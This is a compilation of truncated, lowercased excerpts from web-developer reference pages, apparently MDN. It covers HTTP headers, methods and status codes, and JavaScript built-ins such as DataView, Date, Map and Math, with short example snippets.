... examples server: apache/2.4.1 (unix) specifications specification title rfc 7231, section 7.4.2: server hypertext transfer protocol (http/1.1): semantics and content ...
SourceMap - HTTP
header type response header forbidden header name no syntax sourcemap: <url> x-sourcemap: <url> (deprecated) directives <url> a relative (to the request url) or absolute url pointing to a source map file.
... examples sourcemap: /path/to/file.js.map specifications specification title draft document source map revision 3 proposal ...
X-Forwarded-Proto - HTTP
to determine the protocol used between the client and the load balancer, the x-forwarded-proto request header can be used.
... examples x-forwarded-proto: https other non-standard forms: # microsoft front-end-https: on x-forwarded-protocol: https x-forwarded-ssl: on x-url-scheme: https specifications not part of any current specification.
X-XSS-Protection - HTTP
although these protections are largely unnecessary in modern browsers when sites implement a strong content-security-policy that disables the use of inline javascript ('unsafe-inline'), they can still provide protections for users of older web browsers that don't yet support csp.
... example block pages from loading when they detect reflected xss attacks: x-xss-protection: 1; mode=block php header("x-xss-protection: 1; mode=block"); apache (.htaccess) <ifmodule mod_headers.c> header set x-xss-protection "1; mode=block" </ifmodule> nginx add_header "x-xss-protection" "1; mode=block"; specifications not part of any specifications or drafts.
DELETE - HTTP
WebHTTPMethodsDELETE
request has body may successful response has body may safe no idempotent yes cacheable no allowed in html forms no syntax delete /file.html http/1.1 example request delete /file.html http/1.1 responses if a delete method is successfully applied, there are several response status codes possible: a 202 (accepted) status code if the action will likely succeed but has not yet been enacted.
... http/1.1 200 ok date: wed, 21 oct 2015 07:28:00 gmt <html> <body> <h1>file deleted.</h1> </body> </html> specifications specification title rfc 7231, section 4.3.5: delete hypertext transfer protocol (http/1.1): semantics and content ...
HEAD - HTTP
WebHTTPMethodsHEAD
if the response to a head request shows that a cached url response is now outdated, the cached copy is invalidated even if no get request was made.
... request has body no successful response has body no safe yes idempotent yes cacheable yes allowed in html forms no syntax head /index.html specifications specification title rfc 7231, section 4.3.2: head hypertext transfer protocol (http/1.1): semantics and content ...
100 Continue - HTTP
WebHTTPStatus100
the http 100 continue informational status response code indicates that everything so far is ok and that the client should continue with the request or ignore it if it is already finished.
... status 100 continue specifications specification title rfc 7231, section 6.2.1: 100 continue hypertext transfer protocol (http/1.1): semantics and content ...
205 Reset Content - HTTP
WebHTTPStatus205
the http 205 reset content response status tells the client to reset the document view, so for example to clear the content of a form, reset a canvas state, or to refresh the ui.
... status 205 reset content specifications specification title rfc 7231, section 6.3.6: 205 reset content hypertext transfer protocol (http/1.1): semantics and content compatibility notes browser behavior differs if this response erroneously includes a body on persistent connections see 204 no content for more detail.
303 See Other - HTTP
WebHTTPStatus303
the hypertext transfer protocol (http) 303 see other redirect status response code indicates that the redirects don't link to the newly uploaded resources, but to another page (such as a confirmation page or an upload progress page).
... status 303 see other specifications specification title rfc 7231, section 6.4.4: 303 see other hypertext transfer protocol (http/1.1): semantics and content ...
405 Method Not Allowed - HTTP
WebHTTPStatus405
the hypertext transfer protocol (http) 405 method not allowed response status code indicates that the request method is known by the server but is not supported by the target resource.
... status 405 method not allowed specifications specification title rfc 7231, section 6.5.5: 405 method not allowed hypertext transfer protocol (http/1.1): semantics and content ...
406 Not Acceptable - HTTP
WebHTTPStatus406
the hypertext transfer protocol (http) 406 not acceptable client error response code indicates that the server cannot produce a response matching the list of acceptable values defined in the request's proactive content negotiation headers, and that the server is unwilling to supply a default representation.
... status 406 not acceptable specifications specification title rfc 7231, section 6.5.6: 406 not acceptable hypertext transfer protocol (http/1.1): semantics and content ...
409 Conflict - HTTP
WebHTTPStatus409
the http 409 conflict response status code indicates a request conflict with current state of the server.
... status 409 conflict specifications specification title rfc 7231, section 6.5.8: 409 conflict hypertext transfer protocol (http/1.1): semantics and content ...
413 Payload Too Large - HTTP
WebHTTPStatus413
the http 413 payload too large response status code indicates that the request entity is larger than limits defined by server; the server might close the connection or return a retry-after header field.
... status 413 payload too large specifications specification title rfc 7231, section 6.5.11: 413 payload too large hypertext transfer protocol (http/1.1): semantics and content ...
414 URI Too Long - HTTP
WebHTTPStatus414
the http 414 uri too long response status code indicates that the uri requested by the client is longer than the server is willing to interpret.
... status 414 uri too long specifications specification title rfc 7231, section 6.5.12: 414 uri too long hypertext transfer protocol (http/1.1): semantics and content ...
417 Expectation Failed - HTTP
WebHTTPStatus417
the http 417 expectation failed client error response code indicates that the expectation given in the request's expect header could not be met.
... status 417 expectation failed specifications specification title rfc 7231, section 6.5.14: 417 expectation failed hypertext transfer protocol (http/1.1): semantics and content ...
418 I'm a teapot - HTTP
WebHTTPStatus418
the http 418 i'm a teapot client error response code indicates that the server refuses to brew coffee because it is, permanently, a teapot.
... status 418 i'm a teapot specifications specification title rfc 2324, section 2.3.2: 418 i'm a teapot hyper text coffee pot control protocol (htcpcp/1.0): semantics and content rfc 7168, section 2.3.3: 418 i'm a teapot the hyper text coffee pot control protocol for tea efflux appliances (htcpcp-tea): response codes ...
425 Too Early - HTTP
WebHTTPStatus425
the hypertext transfer protocol (http) 425 too early response status code indicates that the server is unwilling to risk processing a request that might be replayed, which creates the potential for a replay attack.
... status 425 too early specifications specification title rfc 8470, section 5.2: 425: early data using early data in http ...
451 Unavailable For Legal Reasons - HTTP
WebHTTPStatus451
the hypertext transfer protocol (http) 451 unavailable for legal reasons client error response code indicates that the user requested a resource that is not available due to legal reasons, such as a web page for which a legal action has been issued.
...e>unavailable for legal reasons</title></head> <body> <h1>unavailable for legal reasons</h1> <p>this request may not be serviced in the roman province of judea due to the lex julia majestatis, which disallows access to resources hosted on servers deemed to be operated by the people's front of judea.</p> </body> </html> specifications specification title rfc 7725: 451 unavailable for legal reasons an http status code to report legal obstacles ...
505 HTTP Version Not Supported - HTTP
WebHTTPStatus505
the hypertext transfer protocol (http) 505 http version not supported response status code indicates that the http version used in the request is not supported by the server.
... status 505 http version not supported specifications specification title rfc 7231, section 6.6.6: 505 http version not supported hypertext transfer protocol (http/1.1): semantics and content ...
506 Variant Also Negotiates - HTTP
WebHTTPStatus506
the variant also negotiates status code indicates an internal server configuration error in which the chosen variant is itself configured to engage in content negotiation, so is not a proper negotiation endpoint.
... status 506 variant also negotiates specifications specification title rfc 2295, section 8.1: 506 variant also negotiates transparent content negotiation in http ...
507 Insufficient Storage - HTTP
WebHTTPStatus507
it indicates that a method could not be performed because the server cannot store the representation needed to successfully complete the request.
... status 507 insufficient storage specifications specification title rfc 4918, section 11.5: 507 insufficient storage web distributed authoring and versioning ...
510 Not Extended - HTTP
WebHTTPStatus510
in that specification a client may send a request that contains an extension declaration, that describes the extension to be used.
... status 510 not extended specifications specification title rfc 2774, section 7: 510 not extended an http extension framework ...
JavaScript Guide - JavaScript
chapters this guide is divided into several chapters: introduction about this guide about javascript javascript and java ecmascript tools hello world grammar and types basic syntax & comments declarations variable scope variable hoisting data structures and types literals control flow and error handling if...else switch try/catch/throw error objects loops and iteration for while do...while break/continue for..in for..of functions defining functions calling functions function scope closures arguments & parameters arrow functions expressions and operators assignment & comparisons arithmetic operators bitwise & logical operators conditional (ternary) operator ...
...cts objects and properties creating objects defining methods getter and setter details of the object model prototype-based oop creating object hierarchies inheritance promises guarantees chaining error propagation composition timing iterators and generators iterators iterables generators meta programming proxy handlers and traps revocable proxy reflect javascript modules exporting importing default exports renaming features aggregating modules dynamic module loading next » ...
Warning: -file- is being assigned a //# sourceMappingURL, but already has one - JavaScript
with source maps, the debugger can map the code being executed to the original source files.
... examples setting source maps setting a source map by using a comment in the file: //# sourcemappingurl=http://example.com/path/to/your/sourcemap.map or, alternatively, you can set a header to your javascript file: x-sourcemap: /path/to/file.js.map ...
RangeError: radix must be an integer - JavaScript
a radix that is larger than 10 uses alphabetical characters as digits; therefore, the radix can't be larger than 36, since the latin alphabet (used by english and many other languages) only has 26 characters.
... examples invalid cases (42).tostring(0); (42).tostring(1); (42).tostring(37); (42).tostring(150); // you cannot use a string like this for formatting: (12071989).tostring('mm-dd-yyyy'); valid cases (42).tostring(2); // "101010" (binary) (13).tostring(8); // "15" (octal) (0x42).tostring(10); // "66" (decimal) (100000).tostring(16) // "186a0" (hexadecimal) ...
TypeError: cyclic object value - JavaScript
examples circular references in a circular structure like the following var circularreference = {otherdata: 123}; circularreference.myself = circularreference; json.stringify() will fail json.stringify(circularreference); // typeerror: cyclic object value to serialize circular references you can use a library that supports them (e.g.
... the snippet below illustrates how to find and filter (thus causing data loss) a cyclic reference by using the replacer parameter of json.stringify(): const getcircularreplacer = () => { const seen = new weakset(); return (key, value) => { if (typeof value === "object" && value !== null) { if (seen.has(value)) { return; } seen.add(value); } return value; }; }; json.stringify(circularreference, getcircularreplacer()); // {"otherdata":123} ...
SyntaxError: for-in loop head declarations may not have initializers - JavaScript
message syntaxerror: for-in loop head declarations cannot have an initializer (edge) syntaxerror: for-in loop head declarations may not have initializers (firefox) syntaxerror: for-in loop variable declaration may not have an initializer.
... examples this example throws a syntaxerror: "use strict"; var obj = {a: 1, b: 2, c: 3 }; for (var i = 0 in obj) { console.log(obj[i]); } // syntaxerror: for-in loop head declarations may not have initializers valid for-in loop you can remove the initializer (i = 0) in the head of the for-in loop.
URIError: malformed URI sequence - JavaScript
examples encoding encoding replaces each instance of certain characters by one, two, three, or four escape sequences representing the utf-8 encoding of the character.
...for example: encodeuri('\ud800\udfff'); // "%f0%90%8f%bf" decoding decoding replaces each escape sequence in the encoded uri component with the character that it represents.
SyntaxError: missing ) after condition - JavaScript
in any programming language, code needs to make decisions and carry out actions accordingly depending on different inputs.
...in javascript, this condition must appear in parenthesis after the if keyword, like this: if (condition) { // do something if the condition is true } examples missing parenthesis it might just be an oversight, carefully check all you parenthesis in your code.
SyntaxError: missing variable name - JavaScript
var ohgodwhy = "foo"; reserved keywords can't be variable names there are a few variable names that are reserved keywords.
... you can't use these.
RangeError: precision is out of range - JavaScript
however, the ecmascript specification allows to extend this range.
... method firefox (spidermonkey) chrome, opera (v8) number.prototype.toexponential() 0 to 100 0 to 20 number.prototype.tofixed() -20 to 100 0 to 20 number.prototype.toprecision() 1 to 100 1 to 21 examples invalid cases 77.1234.toexponential(-1); // rangeerror 77.1234.toexponential(101); // rangeerror 2.34.tofixed(-100); // rangeerror 2.34.tofixed(1001); // rangeerror 1234.5.toprecision(-1); // rangeerror 1234.5.toprecision(101); // rangeerror valid cases 77.1234.toexponential(4); // 7.7123e+1 77.1234.toexponential(2); // 7.71e+1 2.34.tofixed(1); // 2.3 2.35.tofixed(1); // 2.4 (note that it rounds up in this case) 5.123456.toprecision(5); // 5.1235 5.123456.toprecision(2); // 5.1 5.123456.to...
TypeError: invalid arguments - JavaScript
examples no strings in typed arrays typed arrays, for example a uint8array, can't be constructed from a string.
... in fact, strings can't be in typed arrays at all.
ReferenceError: reference to undefined property "x" - JavaScript
examples invalid cases in this case, the property bar is an undefined property, so a referenceerror will occur.
... var foo = {}; foo.bar; // referenceerror: reference to undefined property "bar" valid cases to avoid the error, you need to either add a definition for bar to the object or check for the existence of the bar property before trying to access it; one way to do that is to use the object.prototype.hasownproperty() method), like this: var foo = {}; // define the bar property foo.bar = 'moon'; console.log(foo.bar); // "moon" // test to be sure bar exists before accessing it if (foo.hasownproperty('bar')) { console.log(foo.bar); } ...
arguments[@@iterator]() - JavaScript
syntax arguments[symbol.iterator]() examples iteration using for...of loop function f() { // your browser must support for..of loop // and let-scoped variables in for loops for (let letter of arguments) { console.log(letter); } } f('w', 'y', 'k', 'o', 'p'); specifications specification ecmascript (ecma-262)the definition of 'createunmappedargumentsobject' in that specification.
... ecmascript (ecma-262)the definition of 'createmappedargumentsobject' in that specification.
AggregateError - JavaScript
examples catching an aggregateerror promise.any([ promise.reject(new error("some error")), ]).catch(e => { console.log(e instanceof aggregateerror); // true console.log(e.message); // "all promises rejected" console.log(e.name); // "aggregateerror" console.log(e.errors); // [ error: "some error" ] }); creating an aggregateerror try { t...
...hrow new aggregateerror([ new error("some error"), ], 'hello'); } catch (e) { console.log(e instanceof aggregateerror); // true console.log(e.message); // "hello" console.log(e.name); // "aggregateerror" console.log(e.errors); // [ error: "some error" ] } specifications specification promise.anythe definition of 'aggregateerror' in that specification.
Array.prototype[@@iterator]() - JavaScript
could also be used for (let letter of earr) { letterresult.innerhtml += "<li>" + letter + "</li>"; } result alternative iteration var arr = ['a', 'b', 'c', 'd', 'e']; var earr = arr[symbol.iterator](); console.log(earr.next().value); // a console.log(earr.next().value); // b console.log(earr.next().value); // c console.log(earr.next().value); // d console.log(earr.next().value); // e use case for brace notation the use case for this syntax over using the dot notation (array.prototype.values()) is in a case where you don't know what object is going to be ahead of time.
...} var iterator = it[symbol.iterator](); // your browser must support for..of loop // and let-scoped variables in for loops // const and var could also be used for (let letter of iterator) { console.log(letter); } } // array logiterable(['a', 'b', 'c']); // a // b // c // string logiterable('abc'); // a // b // c logiterable(123); // 123 " is not an iterable object..." specifications specification ecmascript (ecma-262)the definition of 'array.prototype[@@iterator]()' in that specification.
Array.prototype.fill() - JavaScript
return o; } }); } if you need to support truly obsolete javascript engines that don't support object.defineproperty, it's best not to polyfill array.prototype methods at all, as you can't make them non-enumerable.
... // [4, 4, 4] [1, 2, 3].fill(4, 1) // [1, 4, 4] [1, 2, 3].fill(4, 1, 2) // [1, 4, 3] [1, 2, 3].fill(4, 1, 1) // [1, 2, 3] [1, 2, 3].fill(4, 3, 3) // [1, 2, 3] [1, 2, 3].fill(4, -3, -2) // [4, 2, 3] [1, 2, 3].fill(4, nan, nan) // [1, 2, 3] [1, 2, 3].fill(4, 3, 5) // [1, 2, 3] array(3).fill(4) // [4, 4, 4] [].fill.call({ length: 3 }, 4) // {0: 4, 1: 4, 2: 4, length: 3} // a single object, referenced by each slot of the array: let arr = array(3).fill({}) // [{}, {}, {}] arr[0].hi = "hi" // [{ hi: "hi" }, { hi: "hi" }, { hi: "hi" }] specifications specification ecmascript (ecma-262)the definition of 'array.prototype.fill' in that specification.
Array.prototype.values() - JavaScript
todo: please write about why we need it, use cases.
... specifications specification ecmascript (ecma-262)the definition of 'array.prototype.values' in that specification.
ArrayBuffer() constructor - JavaScript
calling an arraybuffer constructor as a function without new, will throw a typeerror from now on.
... var dv = arraybuffer(10); // typeerror: calling a builtin arraybuffer constructor // without new is forbidden var dv = new arraybuffer(10); examples creating an arraybuffer in this example, we create a 8-byte buffer with a int32array view referring to the buffer: var buffer = new arraybuffer(8); var view = new int32array(buffer); specifications specification ecmascript (ecma-262)the definition of 'arraybuffer' in that specification.
ArrayBuffer.prototype.slice() - JavaScript
description the slice() method copies up to, but not including, the byte indicated by the end parameter.
... examples copying an arraybuffer const buf1 = new arraybuffer(8); const buf2 = buf1.slice(0); specifications specification ecmascript (ecma-262)the definition of 'arraybuffer.prototype.slice' in that specification.
Atomics.isLockFree() - JavaScript
return value a boolean indicating whether the operation is lock free.
... examples using islockfree atomics.islockfree(1); // true atomics.islockfree(2); // true atomics.islockfree(3); // false atomics.islockfree(4); // true atomics.islockfree(5); // false atomics.islockfree(6); // false atomics.islockfree(7); // false atomics.islockfree(8); // true specifications specification ecmascript (ecma-262)the definition of 'atomics.islockfree' in that specification.
Atomics.notify() - JavaScript
examples using notify given a shared int32array: const sab = new sharedarraybuffer(1024); const int32 = new int32array(sab); a reading thread is sleeping and waiting on location 0 which is expected to be 0.
... atomics.wait(int32, 0, 0); console.log(int32[0]); // 123 a writing thread stores a new value and notifies the waiting thread once it has written: console.log(int32[0]); // 0; atomics.store(int32, 0, 123); atomics.notify(int32, 0, 1); specifications specification ecmascript (ecma-262)the definition of 'atomics.notify' in that specification.
Atomics.wait() - JavaScript
examples using wait() given a shared int32array: const sab = new sharedarraybuffer(1024); const int32 = new int32array(sab); a reading thread is sleeping and waiting on location 0 which is expected to be 0.
... atomics.wait(int32, 0, 0); console.log(int32[0]); // 123 a writing thread stores a new value and notifies the waiting thread once it has written: console.log(int32[0]); // 0; atomics.store(int32, 0, 123); atomics.notify(int32, 0, 1); specifications specification ecmascript (ecma-262)the definition of 'atomics.wait' in that specification.
BigInt.asIntN() - JavaScript
examples staying in 64-bit ranges the bigint.asintn() method can be useful to stay in the range of 64-bit arithmetic.
... const max = 2n ** (64n - 1n) - 1n; bigint.asintn(64, max); // ↪ 9223372036854775807n bigint.asintn(64, max + 1n); // ↪ -9223372036854775807n // negative because of overflow specifications specification ecmascript (ecma-262)the definition of 'bigint.asintn()' in that specification.
BigInt.asUintN() - JavaScript
examples staying in 64-bit ranges the bigint.asuintn() method can be useful to stay in the range of 64-bit arithmetic.
... const max = 2n ** 64n - 1n; bigint.asuintn(64, max); // ↪ 18446744073709551615n bigint.asuintn(64, max + 1n); // ↪ 0n // zero because of overflow specifications specification ecmascript (ecma-262)the definition of 'bigint.asuintn()' in that specification.
Boolean.prototype.toString() - JavaScript
javascript calls the tostring() method automatically when a boolean is to be represented as a text value or when a boolean is referred to in a string concatenation.
... examples using tostring() in the following code, flag.tostring() returns "true": var flag = new boolean(true); var myvar = flag.tostring(); specifications specification ecmascript (ecma-262)the definition of 'boolean.prototype.tostring' in that specification.
Boolean.prototype.valueOf() - JavaScript
this method is usually called internally by javascript and not explicitly in code.
... examples using valueof() x = new boolean(); myvar = x.valueof(); // assigns false to myvar specifications specification ecmascript (ecma-262)the definition of 'boolean.prototype.valueof' in that specification.
DataView.prototype.getBigInt64() - JavaScript
littleendian optional indicates whether the 64-bit int is stored in little- or big-endian format.
... examples using the getbigint64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getbigint64(0); // 0n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getbigint64()' in that specification.
DataView.prototype.getBigUint64() - JavaScript
littleendian optional indicates whether the 64-bit int is stored in little- or big-endian format.
... examples using the getbiguint64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getbiguint64(0); // 0n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getbiguint64()' in that specification.
DataView.prototype.getFloat32() - JavaScript
littleendian optional indicates whether the 32-bit float is stored in little- or big-endian format.
... examples using the getfloat32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getfloat32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getfloat32' in that specification.
DataView.prototype.getFloat64() - JavaScript
littleendian optional indicates whether the 64-bit float is stored in little- or big-endian format.
... examples using the getfloat64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getfloat64(0); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getfloat64' in that specification.
DataView.prototype.getInt16() - JavaScript
littleendian optional indicates whether the 16-bit int is stored in little- or big-endian format.
... examples using the getint16 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getint16(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getint16' in that specification.
DataView.prototype.getInt32() - JavaScript
littleendian optional indicates whether the 32-bit int is stored in little- or big-endian format.
... examples using the getint32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getint32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getint32' in that specification.
DataView.prototype.getUint16() - JavaScript
littleendian optional indicates whether the 16-bit int is stored in little- or big-endian format.
... examples using the getuint16 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getuint16(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getuint16' in that specification.
DataView.prototype.getUint32() - JavaScript
littleendian optional indicates whether the 32-bit int is stored in little- or big-endian format.
... examples using the getuint32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.getuint32(1); // 0 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.getuint32' in that specification.
DataView.prototype.setBigInt64() - JavaScript
littleendian optional indicates whether the 64-bit int is stored in little- or big-endian format.
... examples using the setbigint64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setbigint64(0, 3n); dataview.getbigint64(0); // 3n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setbigint64()' in that specification.
DataView.prototype.setBigUint64() - JavaScript
littleendian optional indicates whether the 64-bit int is stored in little- or big-endian format.
... examples using the setbiguint64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setbiguint64(0, 3n); dataview.getbiguint64(0); // 3n specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setbiguint64()' in that specification.
DataView.prototype.setFloat32() - JavaScript
littleendian optional indicates whether the 32-bit float is stored in little- or big-endian format.
... examples using the setfloat32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setfloat32(1, 3); dataview.getfloat32(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setfloat32' in that specification.
DataView.prototype.setFloat64() - JavaScript
littleendian optional indicates whether the 64-bit float is stored in little- or big-endian format.
... examples using the setfloat64 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setfloat64(0, 3); dataview.getfloat64(0); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setfloat64' in that specification.
DataView.prototype.setInt16() - JavaScript
littleendian optional indicates whether the 16-bit int is stored in little- or big-endian format.
... examples using the setint16 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setint16(1, 3); dataview.getint16(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setint16' in that specification.
DataView.prototype.setInt32() - JavaScript
littleendian optional indicates whether the 32-bit int is stored in little- or big-endian format.
... examples using the setint32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setint32(1, 3); dataview.getint32(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setint32' in that specification.
DataView.prototype.setUint16() - JavaScript
littleendian optional indicates whether the 16-bit int is stored in little- or big-endian format.
... examples using the setuint16 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setuint16(1, 3); dataview.getuint16(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setuint16' in that specification.
DataView.prototype.setUint32() - JavaScript
littleendian optional indicates whether the 32-bit int is stored in little- or big-endian format.
... examples using the setuint32 method var buffer = new arraybuffer(8); var dataview = new dataview(buffer); dataview.setuint32(1, 3); dataview.getuint32(1); // 3 specifications specification ecmascript (ecma-262)the definition of 'dataview.prototype.setuint32' in that specification.
Date.prototype.getUTCMonth() - JavaScript
the getutcmonth() returns the month of the specified date according to universal time, as a zero-based value (where zero indicates the first month of the year).
... var today = new date(); var month = today.getutcmonth(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutcmonth' in that specification.
Date.prototype.setFullYear() - JavaScript
the setfullyear() method sets the full year for a specified date according to local time.
... examples using setfullyear() var thebigday = new date(); thebigday.setfullyear(1997); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setfullyear' in that specification.
Date.prototype.setHours() - JavaScript
the sethours() method sets the hours for a specified date according to local time, and returns the number of milliseconds since january 1, 1970 00:00:00 utc until the time represented by the updated date instance.
... examples using sethours() var thebigday = new date(); thebigday.sethours(7); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.sethours' in that specification.
Date.prototype.setMilliseconds() - JavaScript
the setmilliseconds() method sets the milliseconds for a specified date according to local time.
... examples using setmilliseconds() var thebigday = new date(); thebigday.setmilliseconds(100); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setmilliseconds' in that specification.
Date.prototype.setMinutes() - JavaScript
the setminutes() method sets the minutes for a specified date according to local time.
... examples using setminutes() var thebigday = new date(); thebigday.setminutes(45); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setminutes' in that specification.
Date.prototype.setSeconds() - JavaScript
the setseconds() method sets the seconds for a specified date according to local time.
... examples using setseconds() var thebigday = new date(); thebigday.setseconds(30); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setseconds' in that specification.
Date.prototype.toISOString() - JavaScript
engines which have not been updated to support this method can work around the absence of this method using the following shim: if (!date.prototype.toisostring) { (function() { function pad(number) { if (number < 10) { return '0' + number; } return number; } date.prototype.toisostring = function() { return this.getutcfullyear() + '-' + pad(this.getutcmonth() + 1) + '-' + pad(this.getutcdate())...
... specifications specification ecmascript (ecma-262)the definition of 'date.prototype.toisostring' in that specification.
Date.prototype.toJSON() - JavaScript
calling tojson() returns a string (using toisostring()) representing the date object's value.
... examples using tojson() var jsondate = (new date()).tojson(); var backtodate = new date(jsondate); console.log(jsondate); //2015-10-26t07:46:36.611z specifications specification ecmascript (ecma-262)the definition of 'date.prototype.tojson' in that specification.
Date.prototype.toUTCString() - JavaScript
based on rfc7231 and modified according to ecma-262 toutcstring, it can have negative values in the 2021 version the source for this interactive example is stored in a github repository.
... examples using toutcstring() let today = new date('wed, 14 jun 2017 00:00:00 pdt'); let utcstring = today.toutcstring(); // wed, 14 jun 2017 07:00:00 gmt specifications specification ecmascript (ecma-262)the definition of 'date.prototype.toutcstring' in that specification.
Date.prototype.valueOf() - JavaScript
this method is usually called internally by javascript and not explicitly in code.
... examples using valueof() var x = new date(56, 6, 17); var myvar = x.valueof(); // assigns -424713600000 to myvar specifications specification ecmascript (ecma-262)the definition of 'date.prototype.valueof' in that specification.
Error.prototype.fileName - JavaScript
if called from a debugger context, the firefox developer tools for example, "debugger eval code" is returned.
... examples using filename var e = new error('could not parse input'); throw e; // e.filename could look like "file:///c:/example.html" specifications not part of any standard.
Error.prototype.message - JavaScript
by default, the message property is an empty string, but this behavior can be overridden for an instance by specifying a message as the first argument to the error constructor.
... examples throwing a custom error var e = new error('could not parse input'); // e.message is 'could not parse input' throw e; specifications specification ecmascript (ecma-262)the definition of 'error.prototype.message' in that specification.
Function.displayName - JavaScript
function'; a; // "function my function()" when defined, the displayname property returns the display name of a function: function dosomething() {} console.log(dosomething.displayname); // "undefined" var popup = function(content) { console.log(content); }; popup.displayname = 'show popup'; console.log(popup.displayname); // "show popup" defining a displayname in function expressions you can define a function with a display name in a function expression: var object = { somemethod: function() {} }; object.somemethod.displayname = 'somemethod'; console.log(object.somemethod.displayname); // logs "somemethod" try { somemethod } catch(e) { console.log(e); } // referenceerror: somemethod is not defined changing displayname dynamically you can dynamically change the displayname o...
...f a function: var object = { // anonymous somemethod: function(value) { arguments.callee.displayname = 'somemethod (' + value + ')'; } }; console.log(object.somemethod.displayname); // "undefined" object.somemethod('123') console.log(object.somemethod.displayname); // "somemethod (123)" specifications not part of any standard.
Generator.prototype.return() - JavaScript
function* gen() { yield 1; yield 2; yield 3; } const g = gen(); g.next(); // { value: 1, done: false } g.return('foo'); // { value: "foo", done: true } g.next(); // { value: undefined, done: true } if return(value) is called on a generator that is already in "completed" state, the generator will remain in "completed" state.
... function* gen() { yield 1; yield 2; yield 3; } const g = gen(); g.next(); // { value: 1, done: false } g.next(); // { value: 2, done: false } g.next(); // { value: 3, done: false } g.next(); // { value: undefined, done: true } g.return(); // { value: undefined, done: true } g.return(1); // { value: 1, done: true } specifications specification ecmascript (ecma-262)the definition of 'generator.prototype.return' in that specification.
Intl​.ListFormat.prototype​.format() - JavaScript
the locales and options parameters customize the behavior of format() and let applications specify the language conventions that should be used to format the list.
... const list = ['motorcycle', 'bus', 'car']; console.log(new intl.listformat('en-gb', { style: 'long', type: 'conjunction' }).format(list)); // > motorcycle, bus and car console.log(new intl.listformat('en-gb', { style: 'short', type: 'disjunction' }).format(list)); // > motorcycle, bus or car console.log(new intl.listformat('en-gb', { style: 'narrow', type: 'unit' }).format(list)); // > motorcycle bus car specifications specification intl.listformatthe definition of 'format()' in that specification.
Map.prototype.delete() - JavaScript
specifications specification ecmascript (ecma-262)the definition of 'map.prototype.delete' in that specification.
... ecmascript 2015 (6th edition, ecma-262)the definition of 'map.prototype.delete' in that specification.
Map.prototype.get() - JavaScript
return value the element associated with the specified key, or undefined if the key can't be found in the map object.
... examples using get() let mymap = new map(); mymap.set('bar', 'foo'); mymap.get('bar'); // returns "foo" mymap.get('baz'); // returns undefined specifications specification ecmascript (ecma-262)the definition of 'map.prototype.get' in that specification.
Map.prototype.has() - JavaScript
the has() method returns a boolean indicating whether an element with the specified key exists or not.
... examples using has() let mymap = new map() mymap.set('bar', "foo") mymap.has('bar') // returns true mymap.has('baz') // returns false specifications specification ecmascript (ecma-262)the definition of 'map.prototype.has' in that specification.
Map.prototype.set() - JavaScript
examples using set() let mymap = new map() // add new elements to the map mymap.set('bar', 'foo') mymap.set(1, 'foobar') // update an element in the map mymap.set('bar', 'baz') using the set() with chaining since the set() method returns back the same map object, you can chain the method call like below: // add new elements to the map with chaining.
... mymap.set('bar', 'foo') .set(1, 'foobar') .set(2, 'baz'); specifications specification ecmascript (ecma-262)the definition of 'map.prototype.set' in that specification.
Map.prototype.size - JavaScript
a set accessor function for size is undefined; you can not change this property.
... examples using size var mymap = new map(); mymap.set('a', 'alpha'); mymap.set('b', 'beta'); mymap.set('g', 'gamma'); mymap.size // 3 specifications specification ecmascript (ecma-262)the definition of 'map.prototype.size' in that specification.
Math.E - JavaScript
property attributes of math.e writable no enumerable no configurable no description because e is a static property of math, you always use it as math.e, rather than as a property of a math object you created (math is not a constructor).
... examples using math.e the following function returns e: function getnapier() { return math.e; } getnapier(); // 2.718281828459045 specifications specification ecmascript (ecma-262)the definition of 'math.e' in that specification.
Math.LN10 - JavaScript
property attributes of math.ln10 writable no enumerable no configurable no description because ln10 is a static property of math, you always use it as math.ln10, rather than as a property of a math object you created (math is not a constructor).
... examples using math.ln10 the following function returns the natural log of 10: function getnatlog10() { return math.ln10; } getnatlog10(); // 2.302585092994046 specifications specification ecmascript (ecma-262)the definition of 'math.ln10' in that specification.
Math.LN2 - JavaScript
property attributes of math.ln2 writable no enumerable no configurable no description because ln2 is a static property of math, you always use it as math.ln2, rather than as a property of a math object you created (math is not a constructor).
